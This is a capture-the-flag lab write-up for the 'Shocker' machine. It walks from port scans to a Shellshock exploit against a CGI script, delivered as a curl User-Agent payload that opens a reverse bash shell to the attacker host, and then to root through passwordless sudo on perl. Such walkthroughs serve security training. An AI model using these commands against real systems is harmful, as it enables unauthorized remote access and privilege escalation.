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Shocker

Nmap scan

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 1000 10.10.10.56
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-13 13:14 EST
Nmap scan report for 10.10.10.56
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 20.69 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p80,2222 10.10.10.56
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-13 13:17 EST
Nmap scan report for 10.10.10.56
Host is up (0.057s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

Looks like only two ports are open. Since one of them is SSH let's start looking around the website.

Port 80

The page only shows a simple index page so we can go for a Gobuster scan. After a while the scan revealed that the cgi-bin directory exists on the server so the next step would be to check for scripts inside this directory.

A gobuster scan looking for common extensions of files in this directory revealed that user.sh exists. Maybe the server is vulnerable to Shellshock so let's spin up a listener and execute:

curl -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.20/8000 0>&1' http://10.10.10.56/cgi-bin/user.sh

And we have prize!:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.56] 47224
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$

Now we can just stabilize the shell and start to enumerate the host.

In the box as shelly

The web server is running as the shelly user so we can just grab the user flag under: /home/shelly/user.txt. Now performing some basic enumeration tasks we can see this:

shelly@Shocker:/$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Since we can execute perl with sudo we should be able to escalate.

Getting root

We can just execute bash from perl to get a root shell:

shelly@Shocker:/$ sudo perl -e 'exec "/bin/bash";'
root@Shocker:/#

And we can just get the root flag under: /root/root.txt.

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